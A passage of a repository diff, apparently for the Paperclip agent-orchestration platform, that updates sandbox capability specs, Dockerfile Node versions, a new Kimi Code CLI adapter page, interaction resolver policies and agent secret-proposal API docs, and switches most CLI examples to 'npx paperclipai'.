value never grants a capability without them. It documents intent and lets the
host present the capability, but the worker must still advertise the required
methods.
## Reusable leases need an explicit opt-in
Reusable leases are the exception to the omission rule above. The host grants
reusable-lease acquisition only when the declaration sets `reusableLeases` to
`true`. The provider opts in through one of two fields:
- the nested `sandboxCapabilities.reusableLeases: true`, or
- the legacy `supportsReusableLeases: true`.
An omitted key leaves `reusableLeases` unset. An unset key does not make the
provider eligible for reusable-lease acquisition, and it does not advertise
provider-level reusable support. The host then always creates an ephemeral lease.
The opt-in never removes the other prerequisites. The worker must still verify
all three lifecycle methods, `environmentResumeLease`, `environmentReleaseLease`,
and `environmentDestroyLease`, and per-run narrowing still applies.
The two opt-in fields have a fixed precedence. The host keeps the legacy
`supportsReusableLeases` field for backward compatibility, and it folds the field
into `sandboxCapabilities.reusableLeases`.
- When only `supportsReusableLeases` is present, the host reads it as
`reusableLeases`.
- When both `supportsReusableLeases` and `sandboxCapabilities.reusableLeases` are
present, the nested value wins.
A manifest with legacy `true` and nested `false` therefore resolves to `false`.
Prefer the nested `sandboxCapabilities.reusableLeases` in a new manifest.
## Incremental session output needs an explicit opt-in
Incremental session output is the second exception to the omission rule. The host
selects the session-output streaming path only when the declaration sets
`incrementalSessionOutput` to `true`. An omitted key resolves the capability to
`false`, so the host keeps the output-file poll path.
The reason is that this key is a behavioral guarantee, not a worker-method
property. A generic one-shot provider can keep persistent process sessions and run
independent control commands, yet it never emits incremental stdout and stderr
from a live session. The two broad capabilities do not imply incremental output,
so the host requires the provider to declare the behavior. A provider that streams
incremental session output declares `sandboxCapabilities.incrementalSessionOutput:
true`; every other provider omits the key and keeps the poll path.
The opt-in never removes the prerequisites. The worker must still verify
`environmentExecute`, and per-run narrowing still applies. A config-resolution
failure narrows the capability to off (see [Failure behavior](#failure-behavior)).
## The capabilities and their worker-method prerequisites
| Capability | Required worker methods | Meaning |
| --- | --- | --- |
| `reusableLeases` | `environmentResumeLease`, `environmentReleaseLease`, **and** `environmentDestroyLease` | The host retains a provider lease and resumes it across runs. |
| `nativeSyncIn` | `environmentSyncIn` | The host transfers files into the sandbox through the native inbound hook. |
| `nativeSyncOut` | `environmentSyncOut` | The host transfers files out of the sandbox through the native outbound hook. |
| `persistentProcessSessions` | `environmentExecute` | The provider keeps a persistent process session open across commands. |
| `independentControlCommands` | `environmentExecute` | The provider runs a one-shot control command beside a long-lived command. |
| `incrementalSessionOutput` | `environmentExecute` | The provider streams incremental stdout and stderr from a live session. Opt-in: an omitted key resolves `false`. |
Reusable leases need all three lifecycle methods. The host resumes a lease with
`environmentResumeLease`, ends it with `environmentReleaseLease`, and tears down a
stale lease with `environmentDestroyLease`. The reuse path destroys a stale lease
when a resume fails, so a provider that cannot destroy a lease would strand it. A
worker that omits any of the three methods never gets reusable leases, even with a
positive declaration. The host then always creates an ephemeral lease.
The host advertises and consumes the two native sync methods as a pair. Define
both or neither. See [Sandbox file-sync lifecycle hooks](./SANDBOX_FILE_SYNC_HOOKS.md).
## Target and config narrowing
A narrowing removes a capability that the provider verified and declared but that
this run cannot use.
- **Ephemeral lease policy.** A lease that the host does not retain never reuses.
The host narrows `reusableLeases` to off for an ephemeral lease and keeps it on
only for a reuse-by-environment lease.
- **Kubernetes Job backend.** A Job-backed lease, or a lease the host marked as
unable to run native file sync, disables native sync. The host narrows
`nativeSyncIn` and `nativeSyncOut` to off and keeps the base64-over-exec
fallback.
## Failure behavior
The host fails closed on two failure states. It never grants a capability from an
unknown state.
- **Config-resolution failure.** A provider whose config the host cannot resolve
is untrusted. The host narrows `persistentProcessSessions` and
`incrementalSessionOutput` to off instead of allowing either through an empty
config.
- **Exact-plugin identity failure.** A retained lease pins the exact plugin that
acquired it. When that plugin is absent, or when it no longer declares this
provider key with the `sandbox_provider` kind, the host cannot establish the
declaration. It resolves every effective capability to `false`, no matter what
methods a stale worker still advertises. An omitted `sandboxCapabilities`
object on a valid, identified plugin is a different state; the host defers to
verified discovery for that case.
## Concurrency capabilities are not part of the contract
Earlier drafts listed two concurrency keys, `concurrentSyncAndExec` and
`concurrentSyncOperations`. The runtime never exposed a scheduling choice that
read either key, so a declaration had no effect. The host removed both keys. The
strict capability validator now rejects them as unknown keys. The host can
reintroduce a concurrency capability when a runtime path enforces it.
+1 -1
View File
@@ -1,6 +1,6 @@
FROM ubuntu:24.04
ARG NODE_MAJOR=20
ARG NODE_MAJOR=24
ARG PAPERCLIPAI_VERSION=latest
ARG HOST_UID=10001
+1 -1
View File
@@ -1,5 +1,5 @@
# syntax=docker/dockerfile:1.6
ARG NODE_VERSION=22
ARG NODE_VERSION=24
ARG TARGETARCH
# ---------- Stage 1: build agent-shim ----------
+2 -2
View File
@@ -4,7 +4,7 @@ Container images for running coding-agent harnesses in sandboxed environments (f
## Image Lineup
- **`agent-runtime-base`**: Foundation. Ubuntu 22.04 + Node 22 + git + tini + non-root user (uid 1000) + the agent shim.
- **`agent-runtime-base`**: Foundation. Ubuntu 22.04 + Node 24 + git + tini + non-root user (uid 1000) + the agent shim.
- **`agent-runtime-opencode`**: Extends base with `opencode-ai` globally installed.
- **`agent-runtime-pi`**: Extends base with `@mariozechner/pi-coding-agent`.
- **`agent-runtime-codex`**: Extends base with `@openai/codex`.
@@ -16,7 +16,7 @@ Container images for running coding-agent harnesses in sandboxed environments (f
**OS & Runtime:**
- Ubuntu 22.04
- Node.js 22 (via NodeSource APT repo)
- Node.js 24 (via NodeSource APT repo)
- git
- tini (PID-1 init, ensures signal propagation)
- Non-root user `paperclip` (uid/gid 1000)
+1 -1
View File
@@ -1,6 +1,6 @@
# syntax=docker/dockerfile:1.6
ARG HERMES_VERSION=0.17.0
FROM node:22-bookworm-slim
FROM node:24-bookworm-slim
ARG HERMES_VERSION
+1 -1
View File
@@ -1,4 +1,4 @@
FROM node:22-alpine
FROM node:24-alpine
WORKDIR /app
COPY server.mjs /app/server.mjs
+1 -1
View File
@@ -1,4 +1,4 @@
FROM node:lts-trixie-slim
FROM node:24-trixie-slim
RUN apt-get update \
&& apt-get install -y --no-install-recommends \
+1 -1
View File
@@ -102,7 +102,7 @@ therefore shadows any Codex login already present inside the sandbox image.
For manual local CLI usage outside heartbeat runs (for example running as `claudecoder` directly), use:
```sh
pnpm exec paperclipai agent local-cli claudecoder --company-id <company-id>
npx paperclipai agent local-cli claudecoder --company-id <company-id>
```
This installs Paperclip skills in `~/.claude/skills`, creates an agent API key, and prints shell exports to run as that agent.
+5 -5
View File
@@ -131,17 +131,17 @@ fleet with ChatGPT-subscription credentials.
classification in rather than making `codex-home.ts` inspect execution
targets on its own.
Because the warning touches authentication behavior, implementation must go
through the security-review gate. Treat this docs section as the follow-up
implementation spec, not as authorization to add the warning in a docs-only
change.
Because the warning touches authentication behavior, its implementation
needs a maintainer security review before merge. Treat this docs section as
the follow-up implementation spec, not as authorization to add the warning in
a docs-only change.
## Manual Local CLI
For manual local CLI usage outside heartbeat runs (for example running as `codexcoder` directly), use:
```sh
pnpm exec paperclipai agent local-cli codexcoder --company-id <company-id>
npx paperclipai agent local-cli codexcoder --company-id <company-id>
```
This installs any missing skills, creates an agent API key, and prints shell exports to run as that agent.
+1 -1
View File
@@ -74,7 +74,7 @@ my-adapter/
"picocolors": "^1.1.0"
},
"devDependencies": {
"@types/node": "^22.0.0",
"@types/node": "^24.0.0",
"typescript": "^5.7.0"
}
}
+84
View File
@@ -0,0 +1,84 @@
---
title: Kimi Code CLI
summary: Kimi Code CLI local adapter setup and configuration
---
The `kimi_local` adapter runs the Kimi Code CLI (`kimi`) locally. It has two execution engines: the default **ACP engine** (`kimi acp`, streaming transcript with live tool status, matching `claude_local`/`gemini_local`) and a **CLI lane** (`kimi -p --output-format stream-json`) used as an automatic fallback. It supports session persistence, per-run skill delivery via `--skills-dir`, thinking-effort control, and structured output parsing.
## Prerequisites
- Kimi Code CLI installed (`kimi` command available; npm package `@moonshot-ai/kimi-code`)
- Authentication configured via one of:
- `kimi login` (OAuth device flow; credentials stored under `$KIMI_CODE_HOME`, default `~/.kimi-code/`)
- A provider configured in Kimi's `config.toml` (`[providers.<name>]`)
- The `KIMI_MODEL_NAME` + `KIMI_MODEL_API_KEY` environment pair (optionally `KIMI_MODEL_BASE_URL`, `KIMI_MODEL_PROVIDER_TYPE`), set in the adapter env or server shell
## Configuration Fields
| Field | Type | Required | Description |
|-------|------|----------|-------------|
| `engine` | string | No | Execution engine: `acp` (default; streaming ACP lane via `kimi acp`), `cli` (headless `kimi -p` lane), or unset/`auto` (ACP with automatic CLI fallback when ACP prerequisites fail). |
| `cwd` | string | Yes | Working directory for the agent process (absolute path; created automatically if missing when permissions allow) |
| `model` | string | No | Kimi model alias (`provider/model`). Defaults to `kimi-code/kimi-for-coding`. When empty, Kimi uses `default_model` from its own `config.toml`. |
| `promptTemplate` | string | No | Prompt used for all runs |
| `instructionsFilePath` | string | No | Markdown instructions file prepended to the prompt. Sibling files in the same directory (`HEARTBEAT.md`, `SOUL.md`, `TOOLS.md`) are made readable via `--add-dir` on local runs. |
| `effort` | string | No | Thinking effort (`low` \| `medium` \| `high` \| `max`). **CLI lane only**: forwarded as `KIMI_MODEL_THINKING_EFFORT` for effort-capable models (currently `kimi-code/k3`); `medium` maps to `high` since Kimi has no medium tier. Ignored for models without `support_efforts`, and not forwarded on the default ACP engine lane — pin `engine: cli` when effort control matters. |
| `command` | string | No | CLI command override. Defaults to `kimi`. |
| `extraArgs` | string[] | No | Additional CLI arguments appended to every run |
| `env` | object | No | Environment variables (supports secret refs) |
| `timeoutSec` | number | No | Process timeout (0 = no timeout) |
| `graceSec` | number | No | Grace period before force-kill |
## Execution Engine
By default the adapter runs Kimi through the **ACP engine** (`kimi acp`, an Agent Client Protocol server over stdio), the same shared engine used by `claude_local`, `codex_local`, and `gemini_local`. ACP streams the transcript live: assistant text arrives as deltas and tool calls report a `pending`/`completed` status, so the issue thread updates continuously instead of in bursts.
Engine selection (`engine` config field):
- unset or `auto`: use ACP when its prerequisites pass (Node >= 20, resolvable `kimi acp` command, a bidirectional process target), otherwise fall back to the CLI lane with a diagnostic note.
- `acp`: require ACP; startup failures surface as run errors rather than falling back.
- `cli`: pin the headless CLI lane described below.
The ACP lane reuses the shared acpx session codec, transcript parser, and CLI event formatter, so sessions, transcripts, and logs render identically to the other ACP adapters.
## Headless Execution (CLI lane)
Runs execute as `kimi -p <prompt> --output-format stream-json` (plus `-m <model>` when configured and `-r <sessionId>` when resuming). On local runs the adapter also passes `--add-dir <instructions-dir>` so the agent can read sibling instruction files, and `--skills-dir <dir>` when skills are desired (see below). The prompt is passed as an argument, not stdin. The adapter sets a headless-safe environment (`CI=1`, `NO_COLOR=1`, `KIMI_CODE_NO_AUTO_UPDATE=1`, and `TERM=dumb` when unset) so unattended heartbeats never block on interactive prompts, theme detection, or update preflight; user-configured env values always win.
## Instructions Bundle
When `instructionsFilePath` points at a managed instruction bundle, the entry file (e.g. `AGENTS.md`) is prepended to the prompt along with a directive that names its sibling files (`HEARTBEAT.md`, `SOUL.md`, `TOOLS.md`). On local runs the containing directory is exposed to Kimi via `--add-dir`, so the agent can actually open those companion files instead of only seeing the entry file.
## Thinking Effort
The `effort` field applies to the **headless CLI lane only** (`engine: cli`, or the automatic fallback when ACP prerequisites fail). On the default ACP engine lane it is currently **not forwarded**: Kimi's ACP interface exposes a separate `thinking` config option that Paperclip does not wire yet, so an effort configured on an ACP-lane agent leaves Kimi's own default behavior in place. Pin `engine: cli` when thinking-effort control matters. On the CLI lane, `effort` is forwarded as the `KIMI_MODEL_THINKING_EFFORT` operational override, which applies to Kimi providers including managed OAuth models. Kimi has no per-invocation effort flag and no `medium` tier, so `medium` is mapped to `high`; `low`, `high`, and `max` pass through. Effort is only sent for models that advertise `support_efforts` (currently `kimi-code/k3`) to avoid provider rejections; extend `EFFORT_CAPABLE_MODELS` in the adapter as more models gain support.
## Session Persistence
The adapter captures the Kimi session id from the trailing `session.resume_hint` meta event and persists it between heartbeats. On the next wake, it resumes the existing conversation with `-r <session_id>` so the agent retains context.
Session resume is cwd-aware: if the working directory changed since the last run, a fresh session starts instead.
If resume fails with an unknown/unrecoverable session error, the adapter automatically retries with a fresh session.
## Skills Delivery
Desired Paperclip skills are delivered from a dedicated per-run directory passed via `--skills-dir`, so skills load reliably and in isolation without writing into the shared `~/.kimi-code/skills` home. On remote runs the skills snapshot is synced to the target and `--skills-dir` points at that isolated copy — Paperclip never overwrites `$KIMI_CODE_HOME/skills`, so skills installed by the operator or other agents are left intact. `--skills-dir` is only passed when at least one skill is desired, so unconfigured agents keep Kimi's default skill discovery.
### Control-plane skill
`paperclipai agent local-cli <agentRef> -C <companyId>` installs the Paperclip control-plane skills into `~/.kimi-code/skills` (honoring `KIMI_CODE_HOME`), alongside the existing `~/.codex/skills` and `~/.claude/skills` targets. Kimi auto-discovers this home on every run, so the agent has the control-plane API reference (issue/comment/interaction routes) from turn one rather than rediscovering endpoints by trial and error. Pass `--no-install-skills` to skip. This is independent of the per-run `--skills-dir` delivery above, which only applies when an agent has explicitly configured skills.
## Environment Test
Use the "Test Environment" button in the UI to validate the adapter config. It checks:
- Kimi CLI is installed and accessible (`kimi --version`)
- Working directory is absolute and available (auto-created if missing and permitted)
- Auth availability (OAuth credential/config files under `$KIMI_CODE_HOME`, or the `KIMI_MODEL_NAME` + `KIMI_MODEL_API_KEY` env pair)
- A live hello probe (`kimi -p "Respond with hello." --output-format stream-json`) to verify CLI readiness
## Notes
- Both execution engines are supported: the ACP engine (`kimi acp`, default) and the headless CLI lane (fallback / `engine=cli`).
- Available model aliases on a standard install: `kimi-code/kimi-for-coding` (K2.7 Coding), `kimi-code/kimi-for-coding-highspeed` (K2.7 Coding Highspeed), `kimi-code/k3` (K3).
+1
View File
@@ -21,6 +21,7 @@ When a heartbeat fires, Paperclip:
| [Claude Code](/adapters/claude-local) | `claude_local` | Runs Claude Code CLI locally, with a native ACP engine when available |
| [Codex](/adapters/codex-local) | `codex_local` | Runs OpenAI Codex CLI locally, with a native ACP engine when available |
| [Gemini CLI](/adapters/gemini-local) | `gemini_local` | Runs Gemini CLI locally (experimental — adapter package exists, not yet in stable type enum) |
| [Kimi Code CLI](/adapters/kimi-local) | `kimi_local` | Runs Kimi Code CLI locally through ACP, with headless `-p` mode as a fallback |
| OpenCode | `opencode_local` | Runs OpenCode CLI locally (multi-provider `provider/model`) |
| Cursor | `cursor` | Runs Cursor in background mode |
| Pi | `pi_local` | Runs an embedded Pi agent locally |
+9 -5
View File
@@ -179,7 +179,7 @@ POST /api/issues/{issueId}/comments
## Issue-Thread Interactions
Interactions are structured cards in the issue thread. Agents create them when a board/user needs to choose tasks, answer questions, or confirm a proposal through the UI instead of hidden markdown conventions.
Interactions are structured cards in the issue thread. Agents create them when a teammate needs to choose tasks, answer questions, or confirm a proposal through the UI instead of hidden markdown conventions.
### List Interactions
@@ -193,7 +193,7 @@ GET /api/issues/{issueId}/interactions
POST /api/issues/{issueId}/interactions
{
"kind": "request_confirmation",
"resolverPolicy": "board_only",
"resolverPolicy": "human_only",
"idempotencyKey": "confirmation:{issueId}:plan:{revisionId}",
"title": "Plan approval",
"summary": "Waiting for the board/user to accept or request changes.",
@@ -227,9 +227,11 @@ Supported `kind` values:
- `request_checkbox_confirmation`: ask for one accept/reject decision over selected option ids
- `request_item_verdicts`: collect approve/reject/defer verdicts per item
`resolverPolicy: "board_only" | "board_or_agents"`. Omitted policy uses the company per-kind default: `ask_user_questions` defaults to `board_or_agents`; all other kinds default to `board_only`. `PATCH /api/companies/{companyId}` accepts `interactionResolverGovernance`, keyed by kind, with optional `defaultPolicy` and `cap`. A `board_only` cap wins, and the server snapshots `requestedResolverPolicy` plus `effectiveResolverPolicy` when the interaction is created.
Create accepts optional canonical `resolverPolicy: "anyone" | "not_creator" | "human_only"`. Omit it for a normal interaction: every kind defaults to `anyone`, so any teammate with ordinary issue access may respond. Use `not_creator` when independent review is required and `human_only` when an agent must not decide. Deprecated `board_or_agents` and `board_only` inputs remain compatibility aliases and normalize to `anyone` and `human_only`.
`addresseeAgentId` optionally targets a same-company agent. The addressee is woken with `interaction_pending`, and only that agent or a board user may resolve the card; the creator cannot address itself, tool-action confirmations with an addressee return `400`, and all low-trust/watchdog/same-run restrictions remain. Addressed pending cards are excluded from the company attention feed but remain available in the issue thread.
The server snapshots immutable canonical `requestedResolverPolicy` and `effectiveResolverPolicy`, plus their provenance and source, when the interaction is created. `PATCH /api/companies/{companyId}` accepts `interactionResolverGovernance`, keyed by kind, with optional `defaultPolicy` and `cap`; governance may narrow but never widen the requested audience. Historical rows whose explicit-vs-default provenance cannot be proved retain their restrictions: legacy `board_or_agents` semantics migrate to `not_creator`, and legacy `board_only` semantics migrate to `human_only`.
`addresseeAgentId` optionally targets a same-company agent. The addressee is woken with `interaction_pending`, and only that agent or a board user may resolve the card; the creator cannot address itself, tool-action confirmations with an addressee return `400`, and all low-trust, issue-access, and governance restrictions remain. Addressed pending cards are excluded from the company attention feed but remain available in the issue thread.
For `request_confirmation`, `continuationPolicy: "wake_assignee"` wakes the assignee only after acceptance. Rejection records the reason and leaves follow-up to a normal comment unless the board/user chooses to add one.
@@ -243,7 +245,9 @@ POST /api/issues/{issueId}/interactions/{interactionId}/verdicts
POST /api/issues/{issueId}/interactions/{interactionId}/withdraw
```
Board users can resolve all interactions. Agent resolution requires the immutable effective policy to be `board_or_agents` — for addressed and unaddressed interactions alike — and addressed interactions further restrict agent resolution to their `addresseeAgentId`. Agent resolvers require authenticated run identity and `issue:mutate` scope; they cannot be the creator agent or source run; low-trust and watchdog actors are denied; and confirmations containing `payload.toolAction` are always board-only. Agent resolution records both agent and run attribution and fires the same continuation wakes.
Board users can resolve all interactions. Under `anyone`, an eligible in-company agent may resolve through the same routes, including the creator agent or creating run. `not_creator` excludes those creators, and `human_only` excludes agents. Addressed interactions further restrict agent resolution to their `addresseeAgentId`. Agent resolvers require authenticated run identity and `issue:mutate` scope; low-trust and task-bridge actors are denied. A watchdog receives no special exception and is evaluated as an ordinary agent. Confirmations containing `payload.toolAction` are always `human_only`. Resolution records both agent and run attribution and fires the same continuation wakes.
Resolving a card records the response only. Suggested-task creation, plan continuation, tool/provider calls, deployments, spend, hiring, secrets, and every other downstream effect must run their own authorization and approval checks.
The creator agent or a board user may withdraw a pending interaction. Withdrawal records an optional reason, expires the interaction, and prevents later resolution. Low-trust and task-watchdog agent runs cannot withdraw interactions.
+63 -5
View File
@@ -22,6 +22,7 @@ GET /api/agents/me/secrets
"secrets": [
{
"key": "github_token",
"secretRef": "11111111-1111-4111-8111-111111111111",
"name": "GitHub token",
"description": null,
"delivery": "env",
@@ -34,9 +35,11 @@ GET /api/agents/me/secrets
}
```
`delivery` is `env`, `api`, or `both`. The list never returns values, secret
IDs, binding IDs, or config paths. An `env.*` binding implies read access through
this API; an `access.*` binding grants API access without environment injection.
`delivery` is `env`, `api`, or `both`. `secretRef` is a stable opaque handle,
not secret material or a capability; every consuming route re-authorizes it.
The list never returns values, the internal `secretId` field, binding IDs, or
config paths. An `env.*` binding implies read access through this API; an
`access.*` binding grants API access without environment injection.
Fetch a value only when it is needed. The request has no body and the response
uses `Cache-Control: no-store`:
@@ -60,6 +63,61 @@ successful or failed value fetch is audited in both `secret_access_events` and
`activity_log`; agents must not log or paste fetched values into issues,
comments, or documents.
## Agent Secret Proposals
These routes use the same current run-bound agent JWT as the list and fetch
routes:
```
POST /api/agents/me/secret-proposals
GET /api/agents/me/secret-proposals
DELETE /api/agents/me/secret-proposals/{proposalId}
```
An agent can ask Paperclip to bind an existing secret under a new path without
knowing a secret ID. Set `kind` to `binding` and identify the source by the
agent's own existing `env.*` or `access.*` config path:
```json
POST /api/agents/me/secret-proposals
{
"kind": "binding",
"sourceConfigPath": "access.openai_api_key",
"configPath": "access.evals_openai_api_key",
"justification": "Use the existing OpenAI credential under the eval-specific alias"
}
```
`sourceConfigPath` must resolve from the proposing agent's own binding. An
unknown path or another agent's path returns `404`. A binding request must
provide exactly one of `sourceConfigPath`, `secretId`, or `secretProposalId`.
Omit `targetAgentId` to target the proposing agent; under the default policy a
manager may instead target one of its reports. `configPath` accepts
`env.<KEY>` for environment injection or `access.<ALIAS>` for API-only access.
For a run with a checked-out origin issue, a successful proposal automatically
creates a human-only **Confirm secret binding** card in that issue. API clients
must not create a second interaction. The card contains only non-secret
metadata: the source label, target agent, new config path, justification, and
expiry.
Selecting **Create binding** accepts the card and then triggers a separate,
freshly authorized binding write. Card acceptance is not execution. Read
`result.secretProposal.status` for the actual outcome:
- `executed` means the binding write completed.
- `failed` means the card was accepted but execution failed. The card renders
**FAILED**, exposes a non-secret `errorCode`, and Paperclip posts a **Secret
binding execution failed** comment with `Binding created: no`.
- `rejected`, `withdrawn`, or `expired` means no binding was created.
The card wakes the issue assignee after resolution. The wake payload includes
`secretProposal.configPath`, `decision`, `executionStatus`, and instructions.
After any secret card, call `GET /api/agents/me/secrets` again and confirm the
expected secret metadata and delivery before using the new binding. Acceptance
is not execution; a failed wake or missing metadata means the alias must be
treated as unavailable until a fresh proposal executes successfully.
## List Secrets
```
@@ -114,7 +172,7 @@ credentials must not be stored in Paperclip `company_secrets`.
The equivalent CLI check is:
```sh
pnpm exec paperclipai secrets doctor --company-id {companyId}
npx paperclipai secrets doctor --company-id {companyId}
```
## Provider Vaults
@@ -485,7 +543,7 @@ as declarations in the package manifest. Exports omit secret values, secret IDs,
provider references, and encrypted provider material. Use:
```sh
pnpm exec paperclipai secrets declarations --company-id {companyId}
npx paperclipai secrets declarations --company-id {companyId}
```
to inspect the declarations that an export would emit before moving a package.
+38 -38
View File
@@ -9,39 +9,39 @@ Client-side commands for managing issues, agents, approvals, and more.
```sh
# List issues
pnpm exec paperclipai issue list [--status todo,in_progress] [--assignee-agent-id <id>] [--match text]
npx paperclipai issue list [--status todo,in_progress] [--assignee-agent-id <id>] [--match text]
# Get issue details
pnpm exec paperclipai issue get <issue-id-or-identifier>
npx paperclipai issue get <issue-id-or-identifier>
# Create issue
pnpm exec paperclipai issue create --title "..." [--description "..."] [--status todo] [--priority high]
npx paperclipai issue create --title "..." [--description "..."] [--status todo] [--priority high]
# Update issue
pnpm exec paperclipai issue update <issue-id> [--status in_progress] [--comment "..."]
npx paperclipai issue update <issue-id> [--status in_progress] [--comment "..."]
# Add comment
pnpm exec paperclipai issue comment <issue-id> --body "..." [--reopen]
npx paperclipai issue comment <issue-id> --body "..." [--reopen]
# Checkout task
pnpm exec paperclipai issue checkout <issue-id> --agent-id <agent-id>
npx paperclipai issue checkout <issue-id> --agent-id <agent-id>
# Release task
pnpm exec paperclipai issue release <issue-id>
npx paperclipai issue release <issue-id>
```
## Company Commands
```sh
pnpm exec paperclipai company list
pnpm exec paperclipai company get <company-id>
pnpm exec paperclipai company current [--company-id <company-id>]
npx paperclipai company list
npx paperclipai company get <company-id>
npx paperclipai company current [--company-id <company-id>]
# Export to portable folder package (writes manifest + markdown files)
pnpm exec paperclipai company export <company-id> --out ./exports/acme --include company,agents
npx paperclipai company export <company-id> --out ./exports/acme --include company,agents
# Preview import (no writes)
pnpm exec paperclipai company import \
npx paperclipai company import \
<owner>/<repo>/<path> \
--target existing \
--company-id <company-id> \
@@ -50,7 +50,7 @@ pnpm exec paperclipai company import \
--dry-run
# Apply import
pnpm exec paperclipai company import \
npx paperclipai company import \
./exports/acme \
--target new \
--new-company-name "Acme Imported" \
@@ -67,80 +67,80 @@ command.
## Agent Commands
```sh
pnpm exec paperclipai agent list
pnpm exec paperclipai agent get <agent-id>
npx paperclipai agent list
npx paperclipai agent get <agent-id>
```
## Skills Commands
```sh
# Browse app-shipped catalog skills without changing company state
pnpm exec paperclipai skills browse [--kind bundled|optional] [--category software-development] [--query github]
pnpm exec paperclipai skills search "pull request" [--json]
npx paperclipai skills browse [--kind bundled|optional] [--category software-development] [--query github]
npx paperclipai skills search "pull request" [--json]
# Inspect catalog metadata and file inventory before install
pnpm exec paperclipai skills inspect github-pr-workflow
npx paperclipai skills inspect github-pr-workflow
# Install a catalog skill into the company skill library
# This does not attach the skill to any agent.
pnpm exec paperclipai skills install github-pr-workflow --company-id <company-id>
pnpm exec paperclipai skills install github-pr-workflow --as pr-flow --force --company-id <company-id>
npx paperclipai skills install github-pr-workflow --company-id <company-id>
npx paperclipai skills install github-pr-workflow --as pr-flow --force --company-id <company-id>
# External sources still use import instead of catalog install
pnpm exec paperclipai skills import ./skills/my-skill --company-id <company-id>
pnpm exec paperclipai skills import owner/repo/path/to/skill --company-id <company-id>
npx paperclipai skills import ./skills/my-skill --company-id <company-id>
npx paperclipai skills import owner/repo/path/to/skill --company-id <company-id>
# Attach desired company skills to an agent after install/import
pnpm exec paperclipai skills agent sync <agent-id> --skill github-pr-workflow --mode add --company-id <company-id>
npx paperclipai skills agent sync <agent-id> --skill github-pr-workflow --mode add --company-id <company-id>
```
## Approval Commands
```sh
# List approvals
pnpm exec paperclipai approval list [--status pending]
npx paperclipai approval list [--status pending]
# Get approval
pnpm exec paperclipai approval get <approval-id>
npx paperclipai approval get <approval-id>
# Create approval
pnpm exec paperclipai approval create --type hire_agent --payload '{"name":"..."}' [--issue-ids <id1,id2>]
npx paperclipai approval create --type hire_agent --payload '{"name":"..."}' [--issue-ids <id1,id2>]
# Approve
pnpm exec paperclipai approval approve <approval-id> [--decision-note "..."]
npx paperclipai approval approve <approval-id> [--decision-note "..."]
# Reject
pnpm exec paperclipai approval reject <approval-id> [--decision-note "..."]
npx paperclipai approval reject <approval-id> [--decision-note "..."]
# Request revision
pnpm exec paperclipai approval request-revision <approval-id> [--decision-note "..."]
npx paperclipai approval request-revision <approval-id> [--decision-note "..."]
# Resubmit
pnpm exec paperclipai approval resubmit <approval-id> [--payload '{"..."}']
npx paperclipai approval resubmit <approval-id> [--payload '{"..."}']
# Comment
pnpm exec paperclipai approval comment <approval-id> --body "..."
npx paperclipai approval comment <approval-id> --body "..."
```
## Activity Commands
```sh
pnpm exec paperclipai activity list [--agent-id <id>] [--entity-type issue] [--entity-id <id>]
npx paperclipai activity list [--agent-id <id>] [--entity-type issue] [--entity-id <id>]
```
## Dashboard
```sh
pnpm exec paperclipai dashboard get
npx paperclipai dashboard get
```
## Instance Settings
```sh
pnpm exec paperclipai instance settings:general
pnpm exec paperclipai instance settings:general:update --payload-json '{...}'
pnpm exec paperclipai instance settings:experimental
pnpm exec paperclipai instance settings:experimental:update --payload-json '{...}'
npx paperclipai instance settings:general
npx paperclipai instance settings:general:update --payload-json '{...}'
npx paperclipai instance settings:experimental
npx paperclipai instance settings:experimental:update --payload-json '{...}'
```
Experimental features are opt-in and are provided without compatibility guarantees. They may break, change, or be removed at any time. Use them at your own risk.
@@ -148,5 +148,5 @@ Experimental features are opt-in and are provided without compatibility guarante
## Heartbeat
```sh
pnpm exec paperclipai heartbeat run --agent-id <agent-id> [--api-base http://localhost:3100]
npx paperclipai heartbeat run --agent-id <agent-id> [--api-base http://localhost:3100]
```
+9 -9
View File
@@ -29,7 +29,7 @@ Company-scoped commands also accept `--company-id <id>`.
For clean local instances, pass `--data-dir` on the command you run:
```sh
pnpm paperclipai run --data-dir ./tmp/paperclip-dev
npx paperclipai run --data-dir ./tmp/paperclip-dev
```
## Context Profiles
@@ -38,7 +38,7 @@ Store defaults to avoid repeating flags:
```sh
# Set defaults
pnpm exec paperclipai context set --api-base http://localhost:3100 --company-id <id>
npx paperclipai context set --api-base http://localhost:3100 --company-id <id>
# View current context
pnpm paperclipai context show
@@ -47,24 +47,24 @@ pnpm paperclipai context show
pnpm paperclipai context list
# Switch profile
pnpm paperclipai context use default
npx paperclipai context use default
```
To avoid storing secrets in context, use an env var:
```sh
pnpm exec paperclipai context set --api-key-env-var-name PAPERCLIP_API_KEY
npx paperclipai context set --api-key-env-var-name PAPERCLIP_API_KEY
export PAPERCLIP_API_KEY=...
```
Secret operations are available under `paperclipai secrets`:
```sh
pnpm exec paperclipai secrets declarations --company-id <company-id> --kind secret
pnpm exec paperclipai secrets create --company-id <company-id> --name anthropic-api-key --value-env ANTHROPIC_API_KEY
pnpm exec paperclipai secrets link --company-id <company-id> --name prod-stripe-key --provider aws_secrets_manager --external-ref <provider-ref>
pnpm exec paperclipai secrets doctor --company-id <company-id>
pnpm exec paperclipai secrets migrate-inline-env --company-id <company-id> --apply
npx paperclipai secrets declarations --company-id <company-id> --kind secret
npx paperclipai secrets create --company-id <company-id> --name anthropic-api-key --value-env ANTHROPIC_API_KEY
npx paperclipai secrets link --company-id <company-id> --name prod-stripe-key --provider aws_secrets_manager --external-ref <provider-ref>
npx paperclipai secrets doctor --company-id <company-id>
npx paperclipai secrets migrate-inline-env --company-id <company-id> --apply
```
Context is stored at `~/.paperclip/context.json`.
+4 -4
View File
@@ -22,7 +22,7 @@ Does:
Choose a specific instance:
```sh
pnpm paperclipai run --instance dev
npx paperclipai run --instance dev
```
## `paperclipai onboard`
@@ -104,7 +104,7 @@ This now includes bind-oriented deployment settings such as `PAPERCLIP_BIND` and
Allow a private hostname for authenticated/private mode:
```sh
pnpm exec paperclipai allowed-hostname my-tailscale-host
npx paperclipai allowed-hostname my-tailscale-host
```
## Local Storage Paths
@@ -126,6 +126,6 @@ PAPERCLIP_HOME=/custom/home PAPERCLIP_INSTANCE_ID=dev pnpm paperclipai run
Or pass `--data-dir` directly on any command:
```sh
pnpm paperclipai run --data-dir ./tmp/paperclip-dev
pnpm paperclipai doctor --data-dir ./tmp/paperclip-dev
npx paperclipai run --data-dir ./tmp/paperclip-dev
npx paperclipai doctor --data-dir ./tmp/paperclip-dev
```
+1 -1
View File
@@ -42,7 +42,7 @@ pnpm paperclipai onboard
Allow custom Tailscale hostnames:
```sh
pnpm exec paperclipai allowed-hostname my-machine
